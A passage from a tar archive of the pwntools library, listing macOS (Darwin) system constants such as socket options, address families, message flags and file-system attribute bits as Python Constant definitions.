Constant('SO_DONTROUTE',0x0010) SO_BROADCAST = Constant('SO_BROADCAST',0x0020) SO_USELOOPBACK = Constant('SO_USELOOPBACK',0x0040) SO_LINGER = Constant('SO_LINGER',0x1080) SO_LINGER_SEC = Constant('SO_LINGER_SEC',0x1080) SO_OOBINLINE = Constant('SO_OOBINLINE',0x0100) SO_REUSEPORT = Constant('SO_REUSEPORT',0x0200) SO_TIMESTAMP = Constant('SO_TIMESTAMP',0x0400) SO_TIMESTAMP_MONOTONIC = Constant('SO_TIMESTAMP_MONOTONIC',0x0800) SO_ACCEPTFILTER = Constant('SO_ACCEPTFILTER',0x1000) SO_DONTTRUNC = Constant('SO_DONTTRUNC',0x2000) SO_WANTMORE = Constant('SO_WANTMORE',0x4000) SO_WANTOOBFLAG = Constant('SO_WANTOOBFLAG',0x8000) SO_SNDBUF = Constant('SO_SNDBUF',0x1001) SO_RCVBUF = Constant('SO_RCVBUF',0x1002) SO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003) SO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004) SO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005) SO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006) SO_ERROR = Constant('SO_ERROR',0x1007) SO_TYPE = Constant('SO_TYPE',0x1008) SO_LABEL = Constant('SO_LABEL',0x1010) SO_PEERLABEL = Constant('SO_PEERLABEL',0x1011) SO_NREAD = Constant('SO_NREAD',0x1020) SO_NKE = Constant('SO_NKE',0x1021) SO_NOSIGPIPE = Constant('SO_NOSIGPIPE',0x1022) SO_NOADDRERR = Constant('SO_NOADDRERR',0x1023) SO_NWRITE = Constant('SO_NWRITE',0x1024) SO_REUSESHAREUID = Constant('SO_REUSESHAREUID',0x1025) SO_NOTIFYCONFLICT = Constant('SO_NOTIFYCONFLICT',0x1026) SO_UPCALLCLOSEWAIT = Constant('SO_UPCALLCLOSEWAIT',0x1027) SO_RANDOMPORT = Constant('SO_RANDOMPORT',0x1082) SO_NP_EXTENSIONS = Constant('SO_NP_EXTENSIONS',0x1083) SO_NUMRCVPKT = Constant('SO_NUMRCVPKT',0x1112) SO_NET_SERVICE_TYPE = Constant('SO_NET_SERVICE_TYPE',0x1116) SO_NETSVC_MARKING_LEVEL = Constant('SO_NETSVC_MARKING_LEVEL',0x1119) SO_RESOLVER_SIGNATURE = Constant('SO_RESOLVER_SIGNATURE',0x1131) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',0x1134) NET_SERVICE_TYPE_BE = Constant('NET_SERVICE_TYPE_BE',0) NET_SERVICE_TYPE_BK = Constant('NET_SERVICE_TYPE_BK',1) NET_SERVICE_TYPE_SIG = Constant('NET_SERVICE_TYPE_SIG',2) NET_SERVICE_TYPE_VI = Constant('NET_SERVICE_TYPE_VI',3) NET_SERVICE_TYPE_VO = Constant('NET_SERVICE_TYPE_VO',4) NET_SERVICE_TYPE_RV = Constant('NET_SERVICE_TYPE_RV',5) NET_SERVICE_TYPE_AV = Constant('NET_SERVICE_TYPE_AV',6) NET_SERVICE_TYPE_OAM = Constant('NET_SERVICE_TYPE_OAM',7) NET_SERVICE_TYPE_RD = Constant('NET_SERVICE_TYPE_RD',8) NETSVC_MRKNG_UNKNOWN = Constant('NETSVC_MRKNG_UNKNOWN',0) NETSVC_MRKNG_LVL_L2 = Constant('NETSVC_MRKNG_LVL_L2',1) NETSVC_MRKNG_LVL_L3L2_ALL = Constant('NETSVC_MRKNG_LVL_L3L2_ALL',2) NETSVC_MRKNG_LVL_L3L2_BK = Constant('NETSVC_MRKNG_LVL_L3L2_BK',3) SAE_ASSOCID_ANY = Constant('SAE_ASSOCID_ANY',0) SAE_CONNID_ANY = Constant('SAE_CONNID_ANY',0) CONNECT_RESUME_ON_READ_WRITE = Constant('CONNECT_RESUME_ON_READ_WRITE',0x1) CONNECT_DATA_IDEMPOTENT = Constant('CONNECT_DATA_IDEMPOTENT',0x2) CONNECT_DATA_AUTHENTICATED = Constant('CONNECT_DATA_AUTHENTICATED',0x4) SONPX_SETOPTSHUT = Constant('SONPX_SETOPTSHUT',0x000000001) SOL_SOCKET = Constant('SOL_SOCKET',0xffff) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_INET = Constant('AF_INET',2) AF_IMPLINK = Constant('AF_IMPLINK',3) AF_PUP = Constant('AF_PUP',4) AF_CHAOS = Constant('AF_CHAOS',5) AF_NS = Constant('AF_NS',6) AF_ISO = Constant('AF_ISO',7) AF_ECMA = Constant('AF_ECMA',8) AF_DATAKIT = Constant('AF_DATAKIT',9) AF_CCITT = Constant('AF_CCITT',10) AF_SNA = Constant('AF_SNA',11) AF_DECnet = Constant('AF_DECnet',12) AF_DLI = Constant('AF_DLI',13) AF_LAT = Constant('AF_LAT',14) AF_HYLINK = Constant('AF_HYLINK',15) AF_APPLETALK = Constant('AF_APPLETALK',16) AF_ROUTE = Constant('AF_ROUTE',17) AF_LINK = Constant('AF_LINK',18) pseudo_AF_XTP = Constant('pseudo_AF_XTP',19) AF_COIP = Constant('AF_COIP',20) AF_CNT = Constant('AF_CNT',21) pseudo_AF_RTIP = Constant('pseudo_AF_RTIP',22) AF_IPX = Constant('AF_IPX',23) AF_SIP = Constant('AF_SIP',24) pseudo_AF_PIP = Constant('pseudo_AF_PIP',25) AF_NDRV = Constant('AF_NDRV',27) AF_ISDN = Constant('AF_ISDN',28) pseudo_AF_KEY = Constant('pseudo_AF_KEY',29) AF_INET6 = Constant('AF_INET6',30) AF_NATM = Constant('AF_NATM',31) AF_SYSTEM = Constant('AF_SYSTEM',32) AF_NETBIOS = Constant('AF_NETBIOS',33) AF_PPP = Constant('AF_PPP',34) pseudo_AF_HDRCMPLT = Constant('pseudo_AF_HDRCMPLT',35) AF_RESERVED_36 = Constant('AF_RESERVED_36',36) AF_IEEE80211 = Constant('AF_IEEE80211',37) AF_UTUN = Constant('AF_UTUN',38) AF_VSOCK = Constant('AF_VSOCK',40) AF_MAX = Constant('AF_MAX',41) SOCK_MAXADDRLEN = Constant('SOCK_MAXADDRLEN',255) _SS_MAXSIZE = Constant('_SS_MAXSIZE',128) NET_RT_DUMP = Constant('NET_RT_DUMP',1) NET_RT_FLAGS = Constant('NET_RT_FLAGS',2) NET_RT_IFLIST = Constant('NET_RT_IFLIST',3) NET_RT_STAT = Constant('NET_RT_STAT',4) NET_RT_TRASH = Constant('NET_RT_TRASH',5) NET_RT_IFLIST2 = Constant('NET_RT_IFLIST2',6) NET_RT_DUMP2 = Constant('NET_RT_DUMP2',7) NET_RT_FLAGS_PRIV = Constant('NET_RT_FLAGS_PRIV',10) NET_RT_MAXID = Constant('NET_RT_MAXID',11) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',0x1) MSG_PEEK = Constant('MSG_PEEK',0x2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',0x4) MSG_EOR = Constant('MSG_EOR',0x8) MSG_TRUNC = Constant('MSG_TRUNC',0x10) MSG_CTRUNC = Constant('MSG_CTRUNC',0x20) MSG_WAITALL = Constant('MSG_WAITALL',0x40) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x80) MSG_EOF = Constant('MSG_EOF',0x100) MSG_WAITSTREAM = Constant('MSG_WAITSTREAM',0x200) MSG_FLUSH = Constant('MSG_FLUSH',0x400) MSG_HOLD = Constant('MSG_HOLD',0x800) MSG_SEND = Constant('MSG_SEND',0x1000) MSG_HAVEMORE = Constant('MSG_HAVEMORE',0x2000) MSG_RCVMORE = Constant('MSG_RCVMORE',0x4000) MSG_NEEDSA = Constant('MSG_NEEDSA',0x10000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x80000) MSG_USEUPCALL = Constant('MSG_USEUPCALL',0x80000000) CMGROUP_MAX = Constant('CMGROUP_MAX',16) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x02) SCM_CREDS = Constant('SCM_CREDS',0x03) SCM_TIMESTAMP_MONOTONIC = Constant('SCM_TIMESTAMP_MONOTONIC',0x04) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) SBUF_FIXEDLEN = Constant('SBUF_FIXEDLEN',0x00000000) SBUF_AUTOEXTEND = Constant('SBUF_AUTOEXTEND',0x00000001) SBUF_USRFLAGMSK = Constant('SBUF_USRFLAGMSK',0x0000ffff) SBUF_DYNAMIC = Constant('SBUF_DYNAMIC',0x00010000) SBUF_FINISHED = Constant('SBUF_FINISHED',0x00020000) SBUF_OVERFLOWED = Constant('SBUF_OVERFLOWED',0x00040000) SBUF_DYNSTRUCT = Constant('SBUF_DYNSTRUCT',0x00080000) SYSPROTO_EVENT = Constant('SYSPROTO_EVENT',1) SYSPROTO_CONTROL = Constant('SYSPROTO_CONTROL',2) AF_SYS_CONTROL = Constant('AF_SYS_CONTROL',2) SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED',0x00000001) SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER',0x00000002) SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT',0x00000004) NS_GETRAWENCRYPTED = Constant('NS_GETRAWENCRYPTED',0x00000001) Gallopsled-pwntools-3ad86ec/pwnlib/constants/darwin/amd64.py000066400000000000000000005317031507273764500242730ustar00rootroot00000000000000from pwnlib.constants.constant import Constant ITIMER_REAL = Constant('ITIMER_REAL',0) ITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1) ITIMER_PROF = Constant('ITIMER_PROF',2) DST_NONE = Constant('DST_NONE',0) DST_USA = Constant('DST_USA',1) DST_AUST = Constant('DST_AUST',2) DST_WET = Constant('DST_WET',3) DST_MET = Constant('DST_MET',4) DST_EET = Constant('DST_EET',5) DST_CAN = Constant('DST_CAN',6) CHILD_MAX = Constant('CHILD_MAX',266) LINK_MAX = Constant('LINK_MAX',32767) MAX_CANON = Constant('MAX_CANON',1024) MAX_INPUT = Constant('MAX_INPUT',1024) NAME_MAX = Constant('NAME_MAX',255) NGROUPS_MAX = Constant('NGROUPS_MAX',16) OPEN_MAX = Constant('OPEN_MAX',10240) PATH_MAX = Constant('PATH_MAX',1024) PIPE_BUF = Constant('PIPE_BUF',512) BC_BASE_MAX = Constant('BC_BASE_MAX',99) BC_DIM_MAX = Constant('BC_DIM_MAX',2048) BC_SCALE_MAX = Constant('BC_SCALE_MAX',99) BC_STRING_MAX = Constant('BC_STRING_MAX',1000) CHARCLASS_NAME_MAX = Constant('CHARCLASS_NAME_MAX',14) COLL_WEIGHTS_MAX = Constant('COLL_WEIGHTS_MAX',2) EQUIV_CLASS_MAX = Constant('EQUIV_CLASS_MAX',2) EXPR_NEST_MAX = Constant('EXPR_NEST_MAX',32) LINE_MAX = Constant('LINE_MAX',2048) RE_DUP_MAX = Constant('RE_DUP_MAX',255) NZERO = Constant('NZERO',0) GETNCNT = Constant('GETNCNT',3) GETPID = Constant('GETPID',4) GETVAL = Constant('GETVAL',5) GETALL = Constant('GETALL',6) GETZCNT = Constant('GETZCNT',7) SETVAL = Constant('SETVAL',8) SETALL = Constant('SETALL',9) SEM_UNDO = Constant('SEM_UNDO',0o010000) SEM_A = Constant('SEM_A',0o0200) SEM_R = Constant('SEM_R',0o0400) PSEMNAMLEN = Constant('PSEMNAMLEN',31) PSEM_NONE = Constant('PSEM_NONE',1) PSEM_DEFINED = Constant('PSEM_DEFINED',2) PSEM_ALLOCATED = Constant('PSEM_ALLOCATED',4) PSEM_MAPPED = Constant('PSEM_MAPPED',8) PSEM_INUSE = Constant('PSEM_INUSE',0x10) PSEM_REMOVED = Constant('PSEM_REMOVED',0x20) PSEM_INCREATE = Constant('PSEM_INCREATE',0x40) PSEM_INDELETE = Constant('PSEM_INDELETE',0x80) FSOPT_NOFOLLOW = Constant('FSOPT_NOFOLLOW',0x00000001) FSOPT_NOINMEMUPDATE = Constant('FSOPT_NOINMEMUPDATE',0x00000002) FSOPT_REPORT_FULLSIZE = Constant('FSOPT_REPORT_FULLSIZE',0x00000004) FSOPT_PACK_INVAL_ATTRS = Constant('FSOPT_PACK_INVAL_ATTRS',0x00000008) FSOPT_ATTR_CMN_EXTENDED = Constant('FSOPT_ATTR_CMN_EXTENDED',0x00000020) FSOPT_RETURN_REALDEV = Constant('FSOPT_RETURN_REALDEV',0x00000200) FSOPT_NOFOLLOW_ANY = Constant('FSOPT_NOFOLLOW_ANY',0x00000800) SEARCHFS_MAX_SEARCHPARMS = Constant('SEARCHFS_MAX_SEARCHPARMS',4096) ATTR_BIT_MAP_COUNT = Constant('ATTR_BIT_MAP_COUNT',5) VOL_CAPABILITIES_FORMAT = Constant('VOL_CAPABILITIES_FORMAT',0) VOL_CAPABILITIES_INTERFACES = Constant('VOL_CAPABILITIES_INTERFACES',1) VOL_CAPABILITIES_RESERVED1 = Constant('VOL_CAPABILITIES_RESERVED1',2) VOL_CAPABILITIES_RESERVED2 = Constant('VOL_CAPABILITIES_RESERVED2',3) ATTR_MAX_BUFFER = Constant('ATTR_MAX_BUFFER',8192) VOL_CAP_FMT_PERSISTENTOBJECTIDS = Constant('VOL_CAP_FMT_PERSISTENTOBJECTIDS',0x00000001) VOL_CAP_FMT_SYMBOLICLINKS = Constant('VOL_CAP_FMT_SYMBOLICLINKS',0x00000002) VOL_CAP_FMT_HARDLINKS = Constant('VOL_CAP_FMT_HARDLINKS',0x00000004) VOL_CAP_FMT_JOURNAL = Constant('VOL_CAP_FMT_JOURNAL',0x00000008) VOL_CAP_FMT_JOURNAL_ACTIVE = Constant('VOL_CAP_FMT_JOURNAL_ACTIVE',0x00000010) VOL_CAP_FMT_NO_ROOT_TIMES = Constant('VOL_CAP_FMT_NO_ROOT_TIMES',0x00000020) VOL_CAP_FMT_SPARSE_FILES = Constant('VOL_CAP_FMT_SPARSE_FILES',0x00000040) VOL_CAP_FMT_ZERO_RUNS = Constant('VOL_CAP_FMT_ZERO_RUNS',0x00000080) VOL_CAP_FMT_CASE_SENSITIVE = Constant('VOL_CAP_FMT_CASE_SENSITIVE',0x00000100) VOL_CAP_FMT_CASE_PRESERVING = Constant('VOL_CAP_FMT_CASE_PRESERVING',0x00000200) VOL_CAP_FMT_FAST_STATFS = Constant('VOL_CAP_FMT_FAST_STATFS',0x00000400) VOL_CAP_FMT_2TB_FILESIZE = Constant('VOL_CAP_FMT_2TB_FILESIZE',0x00000800) VOL_CAP_FMT_OPENDENYMODES = Constant('VOL_CAP_FMT_OPENDENYMODES',0x00001000) VOL_CAP_FMT_HIDDEN_FILES = Constant('VOL_CAP_FMT_HIDDEN_FILES',0x00002000) VOL_CAP_FMT_PATH_FROM_ID = Constant('VOL_CAP_FMT_PATH_FROM_ID',0x00004000) VOL_CAP_FMT_NO_VOLUME_SIZES = Constant('VOL_CAP_FMT_NO_VOLUME_SIZES',0x00008000) VOL_CAP_FMT_DECMPFS_COMPRESSION = Constant('VOL_CAP_FMT_DECMPFS_COMPRESSION',0x00010000) VOL_CAP_FMT_64BIT_OBJECT_IDS = Constant('VOL_CAP_FMT_64BIT_OBJECT_IDS',0x00020000) VOL_CAP_FMT_DIR_HARDLINKS = Constant('VOL_CAP_FMT_DIR_HARDLINKS',0x00040000) VOL_CAP_FMT_DOCUMENT_ID = Constant('VOL_CAP_FMT_DOCUMENT_ID',0x00080000) VOL_CAP_FMT_WRITE_GENERATION_COUNT = Constant('VOL_CAP_FMT_WRITE_GENERATION_COUNT',0x00100000) VOL_CAP_FMT_NO_IMMUTABLE_FILES = Constant('VOL_CAP_FMT_NO_IMMUTABLE_FILES',0x00200000) VOL_CAP_FMT_NO_PERMISSIONS = Constant('VOL_CAP_FMT_NO_PERMISSIONS',0x00400000) VOL_CAP_FMT_SHARED_SPACE = Constant('VOL_CAP_FMT_SHARED_SPACE',0x00800000) VOL_CAP_FMT_VOL_GROUPS = Constant('VOL_CAP_FMT_VOL_GROUPS',0x01000000) VOL_CAP_FMT_SEALED = Constant('VOL_CAP_FMT_SEALED',0x02000000) VOL_CAP_FMT_CLONE_MAPPING = Constant('VOL_CAP_FMT_CLONE_MAPPING',0x04000000) VOL_CAP_INT_SEARCHFS = Constant('VOL_CAP_INT_SEARCHFS',0x00000001) VOL_CAP_INT_ATTRLIST = Constant('VOL_CAP_INT_ATTRLIST',0x00000002) VOL_CAP_INT_NFSEXPORT = Constant('VOL_CAP_INT_NFSEXPORT',0x00000004) VOL_CAP_INT_READDIRATTR = Constant('VOL_CAP_INT_READDIRATTR',0x00000008) VOL_CAP_INT_EXCHANGEDATA = Constant('VOL_CAP_INT_EXCHANGEDATA',0x00000010) VOL_CAP_INT_COPYFILE = Constant('VOL_CAP_INT_COPYFILE',0x00000020) VOL_CAP_INT_ALLOCATE = Constant('VOL_CAP_INT_ALLOCATE',0x00000040) VOL_CAP_INT_VOL_RENAME = Constant('VOL_CAP_INT_VOL_RENAME',0x00000080) VOL_CAP_INT_ADVLOCK = Constant('VOL_CAP_INT_ADVLOCK',0x00000100) VOL_CAP_INT_FLOCK = Constant('VOL_CAP_INT_FLOCK',0x00000200) VOL_CAP_INT_EXTENDED_SECURITY = Constant('VOL_CAP_INT_EXTENDED_SECURITY',0x00000400) VOL_CAP_INT_USERACCESS = Constant('VOL_CAP_INT_USERACCESS',0x00000800) VOL_CAP_INT_MANLOCK = Constant('VOL_CAP_INT_MANLOCK',0x00001000) VOL_CAP_INT_NAMEDSTREAMS = Constant('VOL_CAP_INT_NAMEDSTREAMS',0x00002000) VOL_CAP_INT_EXTENDED_ATTR = Constant('VOL_CAP_INT_EXTENDED_ATTR',0x00004000) VOL_CAP_INT_CLONE = Constant('VOL_CAP_INT_CLONE',0x00010000) VOL_CAP_INT_SNAPSHOT = Constant('VOL_CAP_INT_SNAPSHOT',0x00020000) VOL_CAP_INT_RENAME_SWAP = Constant('VOL_CAP_INT_RENAME_SWAP',0x00040000) VOL_CAP_INT_RENAME_EXCL = Constant('VOL_CAP_INT_RENAME_EXCL',0x00080000) VOL_CAP_INT_RENAME_OPENFAIL = Constant('VOL_CAP_INT_RENAME_OPENFAIL',0x00100000) VOL_CAP_INT_RENAME_SECLUDE = Constant('VOL_CAP_INT_RENAME_SECLUDE',0x00200000) VOL_CAP_INT_ATTRIBUTION_TAG = Constant('VOL_CAP_INT_ATTRIBUTION_TAG',0x00400000) VOL_CAP_INT_PUNCHHOLE = Constant('VOL_CAP_INT_PUNCHHOLE',0x00800000) ATTR_CMN_NAME = Constant('ATTR_CMN_NAME',0x00000001) ATTR_CMN_DEVID = Constant('ATTR_CMN_DEVID',0x00000002) ATTR_CMN_FSID = Constant('ATTR_CMN_FSID',0x00000004) ATTR_CMN_OBJTYPE = Constant('ATTR_CMN_OBJTYPE',0x00000008) ATTR_CMN_OBJTAG = Constant('ATTR_CMN_OBJTAG',0x00000010) ATTR_CMN_OBJID = Constant('ATTR_CMN_OBJID',0x00000020) ATTR_CMN_OBJPERMANENTID = Constant('ATTR_CMN_OBJPERMANENTID',0x00000040) ATTR_CMN_PAROBJID = Constant('ATTR_CMN_PAROBJID',0x00000080) ATTR_CMN_SCRIPT = Constant('ATTR_CMN_SCRIPT',0x00000100) ATTR_CMN_CRTIME = Constant('ATTR_CMN_CRTIME',0x00000200) ATTR_CMN_MODTIME = Constant('ATTR_CMN_MODTIME',0x00000400) ATTR_CMN_CHGTIME = Constant('ATTR_CMN_CHGTIME',0x00000800) ATTR_CMN_ACCTIME = Constant('ATTR_CMN_ACCTIME',0x00001000) ATTR_CMN_BKUPTIME = Constant('ATTR_CMN_BKUPTIME',0x00002000) ATTR_CMN_FNDRINFO = Constant('ATTR_CMN_FNDRINFO',0x00004000) ATTR_CMN_OWNERID = Constant('ATTR_CMN_OWNERID',0x00008000) ATTR_CMN_GRPID = Constant('ATTR_CMN_GRPID',0x00010000) ATTR_CMN_ACCESSMASK = Constant('ATTR_CMN_ACCESSMASK',0x00020000) ATTR_CMN_FLAGS = Constant('ATTR_CMN_FLAGS',0x00040000) ATTR_CMN_GEN_COUNT = Constant('ATTR_CMN_GEN_COUNT',0x00080000) ATTR_CMN_DOCUMENT_ID = Constant('ATTR_CMN_DOCUMENT_ID',0x00100000) ATTR_CMN_USERACCESS = Constant('ATTR_CMN_USERACCESS',0x00200000) ATTR_CMN_EXTENDED_SECURITY = Constant('ATTR_CMN_EXTENDED_SECURITY',0x00400000) ATTR_CMN_UUID = Constant('ATTR_CMN_UUID',0x00800000) ATTR_CMN_GRPUUID = Constant('ATTR_CMN_GRPUUID',0x01000000) ATTR_CMN_FILEID = Constant('ATTR_CMN_FILEID',0x02000000) ATTR_CMN_PARENTID = Constant('ATTR_CMN_PARENTID',0x04000000) ATTR_CMN_FULLPATH = Constant('ATTR_CMN_FULLPATH',0x08000000) ATTR_CMN_ADDEDTIME = Constant('ATTR_CMN_ADDEDTIME',0x10000000) ATTR_CMN_ERROR = Constant('ATTR_CMN_ERROR',0x20000000) ATTR_CMN_DATA_PROTECT_FLAGS = Constant('ATTR_CMN_DATA_PROTECT_FLAGS',0x40000000) ATTR_CMN_RETURNED_ATTRS = Constant('ATTR_CMN_RETURNED_ATTRS',0x80000000) ATTR_CMN_VALIDMASK = Constant('ATTR_CMN_VALIDMASK',0xFFFFFFFF) ATTR_CMN_SETMASK = Constant('ATTR_CMN_SETMASK',0x51C7FF00) ATTR_CMN_VOLSETMASK = Constant('ATTR_CMN_VOLSETMASK',0x00006700) ATTR_VOL_FSTYPE = Constant('ATTR_VOL_FSTYPE',0x00000001) ATTR_VOL_SIGNATURE = Constant('ATTR_VOL_SIGNATURE',0x00000002) ATTR_VOL_SIZE = Constant('ATTR_VOL_SIZE',0x00000004) ATTR_VOL_SPACEFREE = Constant('ATTR_VOL_SPACEFREE',0x00000008) ATTR_VOL_SPACEAVAIL = Constant('ATTR_VOL_SPACEAVAIL',0x00000010) ATTR_VOL_MINALLOCATION = Constant('ATTR_VOL_MINALLOCATION',0x00000020) ATTR_VOL_ALLOCATIONCLUMP = Constant('ATTR_VOL_ALLOCATIONCLUMP',0x00000040) ATTR_VOL_IOBLOCKSIZE = Constant('ATTR_VOL_IOBLOCKSIZE',0x00000080) ATTR_VOL_OBJCOUNT = Constant('ATTR_VOL_OBJCOUNT',0x00000100) ATTR_VOL_FILECOUNT = Constant('ATTR_VOL_FILECOUNT',0x00000200) ATTR_VOL_DIRCOUNT = Constant('ATTR_VOL_DIRCOUNT',0x00000400) ATTR_VOL_MAXOBJCOUNT = Constant('ATTR_VOL_MAXOBJCOUNT',0x00000800) ATTR_VOL_MOUNTPOINT = Constant('ATTR_VOL_MOUNTPOINT',0x00001000) ATTR_VOL_NAME = Constant('ATTR_VOL_NAME',0x00002000) ATTR_VOL_MOUNTFLAGS = Constant('ATTR_VOL_MOUNTFLAGS',0x00004000) ATTR_VOL_MOUNTEDDEVICE = Constant('ATTR_VOL_MOUNTEDDEVICE',0x00008000) ATTR_VOL_ENCODINGSUSED = Constant('ATTR_VOL_ENCODINGSUSED',0x00010000) ATTR_VOL_CAPABILITIES = Constant('ATTR_VOL_CAPABILITIES',0x00020000) ATTR_VOL_UUID = Constant('ATTR_VOL_UUID',0x00040000) ATTR_VOL_FSTYPENAME = Constant('ATTR_VOL_FSTYPENAME',0x00100000) ATTR_VOL_FSSUBTYPE = Constant('ATTR_VOL_FSSUBTYPE',0x00200000) ATTR_VOL_SPACEUSED = Constant('ATTR_VOL_SPACEUSED',0x00800000) ATTR_VOL_QUOTA_SIZE = Constant('ATTR_VOL_QUOTA_SIZE',0x10000000) ATTR_VOL_RESERVED_SIZE = Constant('ATTR_VOL_RESERVED_SIZE',0x20000000) ATTR_VOL_ATTRIBUTES = Constant('ATTR_VOL_ATTRIBUTES',0x40000000) ATTR_VOL_INFO = Constant('ATTR_VOL_INFO',0x80000000) ATTR_VOL_VALIDMASK = Constant('ATTR_VOL_VALIDMASK',0xF0B7FFFF) ATTR_VOL_SETMASK = Constant('ATTR_VOL_SETMASK',0x80002000) ATTR_DIR_LINKCOUNT = Constant('ATTR_DIR_LINKCOUNT',0x00000001) ATTR_DIR_ENTRYCOUNT = Constant('ATTR_DIR_ENTRYCOUNT',0x00000002) ATTR_DIR_MOUNTSTATUS = Constant('ATTR_DIR_MOUNTSTATUS',0x00000004) ATTR_DIR_ALLOCSIZE = Constant('ATTR_DIR_ALLOCSIZE',0x00000008) ATTR_DIR_IOBLOCKSIZE = Constant('ATTR_DIR_IOBLOCKSIZE',0x00000010) ATTR_DIR_DATALENGTH = Constant('ATTR_DIR_DATALENGTH',0x00000020) DIR_MNTSTATUS_MNTPOINT = Constant('DIR_MNTSTATUS_MNTPOINT',0x00000001) DIR_MNTSTATUS_TRIGGER = Constant('DIR_MNTSTATUS_TRIGGER',0x00000002) ATTR_DIR_VALIDMASK = Constant('ATTR_DIR_VALIDMASK',0x0000003f) ATTR_DIR_SETMASK = Constant('ATTR_DIR_SETMASK',0x00000000) ATTR_FILE_LINKCOUNT = Constant('ATTR_FILE_LINKCOUNT',0x00000001) ATTR_FILE_TOTALSIZE = Constant('ATTR_FILE_TOTALSIZE',0x00000002) ATTR_FILE_ALLOCSIZE = Constant('ATTR_FILE_ALLOCSIZE',0x00000004) ATTR_FILE_IOBLOCKSIZE = Constant('ATTR_FILE_IOBLOCKSIZE',0x00000008) ATTR_FILE_DEVTYPE = Constant('ATTR_FILE_DEVTYPE',0x00000020) ATTR_FILE_FORKCOUNT = Constant('ATTR_FILE_FORKCOUNT',0x00000080) ATTR_FILE_FORKLIST = Constant('ATTR_FILE_FORKLIST',0x00000100) ATTR_FILE_DATALENGTH = Constant('ATTR_FILE_DATALENGTH',0x00000200) ATTR_FILE_DATAALLOCSIZE = Constant('ATTR_FILE_DATAALLOCSIZE',0x00000400) ATTR_FILE_RSRCLENGTH = Constant('ATTR_FILE_RSRCLENGTH',0x00001000) ATTR_FILE_RSRCALLOCSIZE = Constant('ATTR_FILE_RSRCALLOCSIZE',0x00002000) ATTR_FILE_VALIDMASK = Constant('ATTR_FILE_VALIDMASK',0x000037FF) ATTR_FILE_SETMASK = Constant('ATTR_FILE_SETMASK',0x00000020) ATTR_CMNEXT_RELPATH = Constant('ATTR_CMNEXT_RELPATH',0x00000004) ATTR_CMNEXT_PRIVATESIZE = Constant('ATTR_CMNEXT_PRIVATESIZE',0x00000008) ATTR_CMNEXT_LINKID = Constant('ATTR_CMNEXT_LINKID',0x00000010) ATTR_CMNEXT_NOFIRMLINKPATH = Constant('ATTR_CMNEXT_NOFIRMLINKPATH',0x00000020) ATTR_CMNEXT_REALDEVID = Constant('ATTR_CMNEXT_REALDEVID',0x00000040) ATTR_CMNEXT_REALFSID = Constant('ATTR_CMNEXT_REALFSID',0x00000080) ATTR_CMNEXT_CLONEID = Constant('ATTR_CMNEXT_CLONEID',0x00000100) ATTR_CMNEXT_EXT_FLAGS = Constant('ATTR_CMNEXT_EXT_FLAGS',0x00000200) ATTR_CMNEXT_RECURSIVE_GENCOUNT = Constant('ATTR_CMNEXT_RECURSIVE_GENCOUNT',0x00000400) ATTR_CMNEXT_ATTRIBUTION_TAG = Constant('ATTR_CMNEXT_ATTRIBUTION_TAG',0x00000800) ATTR_CMNEXT_CLONE_REFCNT = Constant('ATTR_CMNEXT_CLONE_REFCNT',0x00001000) ATTR_CMNEXT_VALIDMASK = Constant('ATTR_CMNEXT_VALIDMASK',0x00001ffc) ATTR_CMNEXT_SETMASK = Constant('ATTR_CMNEXT_SETMASK',0x00000000) ATTR_FORK_TOTALSIZE = Constant('ATTR_FORK_TOTALSIZE',0x00000001) ATTR_FORK_ALLOCSIZE = Constant('ATTR_FORK_ALLOCSIZE',0x00000002) ATTR_FORK_RESERVED = Constant('ATTR_FORK_RESERVED',0xffffffff) ATTR_FORK_VALIDMASK = Constant('ATTR_FORK_VALIDMASK',0x00000003) ATTR_FORK_SETMASK = Constant('ATTR_FORK_SETMASK',0x00000000) ATTR_CMN_NAMEDATTRCOUNT = Constant('ATTR_CMN_NAMEDATTRCOUNT',0x00080000) ATTR_CMN_NAMEDATTRLIST = Constant('ATTR_CMN_NAMEDATTRLIST',0x00100000) ATTR_FILE_CLUMPSIZE = Constant('ATTR_FILE_CLUMPSIZE',0x00000010) ATTR_FILE_FILETYPE = Constant('ATTR_FILE_FILETYPE',0x00000040) ATTR_FILE_DATAEXTENTS = Constant('ATTR_FILE_DATAEXTENTS',0x00000800) ATTR_FILE_RSRCEXTENTS = Constant('ATTR_FILE_RSRCEXTENTS',0x00004000) SRCHFS_START = Constant('SRCHFS_START',0x00000001) SRCHFS_MATCHPARTIALNAMES = Constant('SRCHFS_MATCHPARTIALNAMES',0x00000002) SRCHFS_MATCHDIRS = Constant('SRCHFS_MATCHDIRS',0x00000004) SRCHFS_MATCHFILES = Constant('SRCHFS_MATCHFILES',0x00000008) SRCHFS_SKIPLINKS = Constant('SRCHFS_SKIPLINKS',0x00000010) SRCHFS_SKIPINVISIBLE = Constant('SRCHFS_SKIPINVISIBLE',0x00000020) SRCHFS_SKIPPACKAGES = Constant('SRCHFS_SKIPPACKAGES',0x00000040) SRCHFS_SKIPINAPPROPRIATE = Constant('SRCHFS_SKIPINAPPROPRIATE',0x00000080) SRCHFS_NEGATEPARAMS = Constant('SRCHFS_NEGATEPARAMS',0x80000000) SRCHFS_VALIDOPTIONSMASK = Constant('SRCHFS_VALIDOPTIONSMASK',0x800000FF) 